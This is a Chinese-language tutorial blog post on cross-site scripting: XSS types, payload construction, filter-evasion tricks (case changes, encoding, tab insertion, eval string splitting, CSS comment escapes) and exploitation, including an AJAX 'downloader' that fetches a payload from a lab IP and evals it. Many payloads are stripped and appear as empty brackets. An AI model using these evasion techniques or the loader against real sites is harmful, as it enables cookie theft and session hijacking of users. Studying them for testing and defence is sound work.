文章目录
第一章 XSS 漏洞概述@[toc]
第一节 简介
- 第一章 XSS 漏洞概述@[toc]
- 第一节 简介
- 第二节 XSS 危害
- 第三节 XSS 漏洞的验证
- 第二章XSS 的分类
- 第一节 反射型XSS
- 第二节 存储型XSS
- 第三节DOM XSS
- 第三章 XSS 的构造
- 第一节利用[]构造HTML/JS
- 第二节 伪协议
- 第三节 产生自己的事件
- 第四节 利用CSS 跨站(old)
- 行内样式
- 页内样式
- 外部样式
- xss.css 文件内容如下
- expression
- import
- 第五节其他标签以及手法
- 第四章 XSS 的变形
- 第一节 大小写转换
- 第二节 引号的使用
- 第三节 [/]代替空格
- 第四节 回车
- 第五节 对标签属性值进行转码
- 第六节 拆分跨站
- 第七节 双写绕过
- 第八节 CSS 中的变形
- 第五章 XSS 的利用
- 第一节 Shellcode 的调用
- 第二节 远程调用JS
- `[] ,这是比较常用的方式`。 XSS.js 的内容如下。
- 第三节 windows.location.hash
- 第四节 XSS Downloader
- ~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~
- 第五节 备选存储技术
- 第六章 XSS 的防御
- 第一节 使用XSS Filter
- 输入过滤
- 输出编码
- 黑白名单
- 第二节 防御DOM-XSS
- 第七章 XSS检测工具
XSS 作为OWASP TOP 10 之一,
XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。
XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS 攻击的“想象”空间特别大。
XSS 通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。
XSS 漏洞发生在哪里? 服务器 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。
第二节 XSS 危害XSS 利用JS 代码实现攻击,有很多种攻击方法,以下简单列出几种
@ 盗取各种用户账号
@ 窃取用户Cookie资料,冒充用户身份进入网站
@ 劫持用户会话,执行任意操作
@ 刷流量,执行弹窗广告
@ 传播蠕虫病毒
等等
第三节 XSS 漏洞的验证
我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。
名称解释POC漏洞的验证与检测EXP漏洞的完整利用工具。shellcode利用漏洞时,所执行的代码payload攻击载荷sqlmap攻击代码的模板msfshellcode 类似,功能是建立与目标的连接验证XSS 漏洞存在的PoC 如下
我们可以在测试页面中提交这样的代码[alert(/xss/)]
我们发现,提交的代码[alert(/xss/)]
,被当作字符串输出在HTML 页面中,浏览器会根据[]
标签识别为JS 语句,并会执行它,执行弹窗操作。 也就是说,可以执行其他JS 代码, 因此我们验证了XSS 漏洞的存在性。
XSS 漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM 型XSS。
第一节 反射型XSS
反射型XSS 是非持久性、参数型的跨站脚本。
反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。
在搜索框中,提交`PoC[alert(/xss/)]`,点击搜索,即可触发反射型XSS。
注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。
第二节 存储型XSS
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。
存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
此时,我们只完成了第一步,将恶意代码写入数据库。
因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。
此时,需要我们模拟网站后台管理员的身份,查看留言。
第三节DOM XSS
DOM XSS 比较特殊。
owasp 关于DOM 型XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。
其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。
如下面的例子
[#message=alert(/xss/)]
我们以锚点的方式提交PoC。PoC 并不会发送的服务器,但是已经触发了XSS。查看当前页面的源代码如下
查看提交参数后的HTML 页面(DOM 树),会形成鲜明的对比。
第三章 XSS 的构造
第一节利用[]构造HTML/JS
可以利用[] 构造HTML 标签和 标签。
在测试页面 提交参数 [
利用[]构造HTML/JS]
提交[alert(/xss/)]
第二节 伪协议
也可以使用javascript: 伪协议的方式构造XSS
[javascript:alert(/xss/);]
提交参数[touch me!],然后点击超链接,即可触发XSS。
也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。
[
]
第三节 产生自己的事件
"事件驱动"是一种比较经典的编程思想。
在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。
所以我们可以通过事件触发JS 函数,触发XSS。
事件种类
windows 事件对windows 对象触发的事件Form 事件HTML 表单内的动作触发事件Keyboard 事件键盘按键Mouse 事件由鼠标或类似用户动作触发的事件Media 事件由多媒体触发的事件[
] 这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。
单行文本框的键盘点击事件,
[],当点击键盘任意一个按键的时候出发。
第四节 利用CSS 跨站(old)
我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。以下代码均在IE6 下测试。
行内样式
[]
页内样式
[Body{background-image:url(javascript:alert(/xss/))}]
外部样式
[hello]
xss.css 文件内容如下
h1 {
color:red;
}
div {
/*width:expression(alert(/xss/))*/
background-image:url(javascript:alert(/xss/))
}
expression
[]
[Body{background-image:expression(alert(/xss/));}]
import
[@import 'javascript:alert("xss")';]
[@import url(xss.css);AJEST]
第五节其他标签以及手法
我们也可以用其他标签触发XSS。
[] 这个语句还是比较简洁的。
[]
第四章 XSS 的变形
我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
第一节 大小写转换
可以将payload 进行大小写转化。如下面两个例子。
click me
第二节 引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
第三节 [/]代替空格
可以利用左斜线代替空格
第四节 回车
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
click me!
第五节 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。对应编码如下
字母 ASCII 码 十进制编码 十六进制编码
a 97 a a
e 101 e e
经过简单编码之后的样子。
click me!
另外,我们可以将以下字符插入到任意位置
Tab
换行
回车
可以将以下字符插入到头部位置
SOH
STX
经过编码后的样子。
click me!
第六节 拆分跨站
z='alert'
z=z+'(/xss/)'
eval(z)
第七节 双写绕过
第八节 CSS 中的变形
@ 使用全角字符
width:expression(alert(/xss/))
@ 注释会被浏览器忽略
width:expr/*~*/ession(alert(/x~s~s/))
@ 样式表中的[\] 和[\0]
@import 'javasc\ri\0pt:alert("xss")';
第五章 XSS 的利用
第一节 Shellcode 的调用
Shellcode 就是在利用漏洞所执行的代码。
完整的XSS 攻击,会将Shellcode 存放在一定的地方,然后触发漏洞,调用Shellcode。
第二节 远程调用JS
可以将JS 代码单独放在一个js 文件中,然后通过http 协议远程加载该脚本。如
[] ,这是比较常用的方式
。 XSS.js 的内容如下。
alert('xss.js');
第三节 windows.location.hash
我们也可以使用js 中的windows.location.hash 方法获取浏览器URL 地址栏的XSS 代码。
windows.location.hash 会获取URL 中# 后面的内容,例如[http://domain.com/index.php#AJEST],windows.location.hash 的值就[#AJEST]。
所以我们可以构造如下代码[?submit=submit&xsscode=eval(location.hash.substr(1))#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php。
第四节 XSS Downloader
XSS 下载器就是将XSS 代码写到网页中,然后通过AJAX 技术,取得网页中的XSS代码。
在使用XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下
BOF|alert(/xss/)|EOF~~~~~~~~~
常见的下载器如下
function XSS(){
if (window.XMLHttpRequest) {
a = new XMLHttpRequest();
} else if (window.ActiveXObject) {
a = new ActiveXObject("Microsoft.XMLHTTP");
} else {return;}
a.open('get','http://172.16.132.161/XSS-TEST/normal/xss_downloader.php',false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS();
AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?
立即登录/注册
微信扫码登录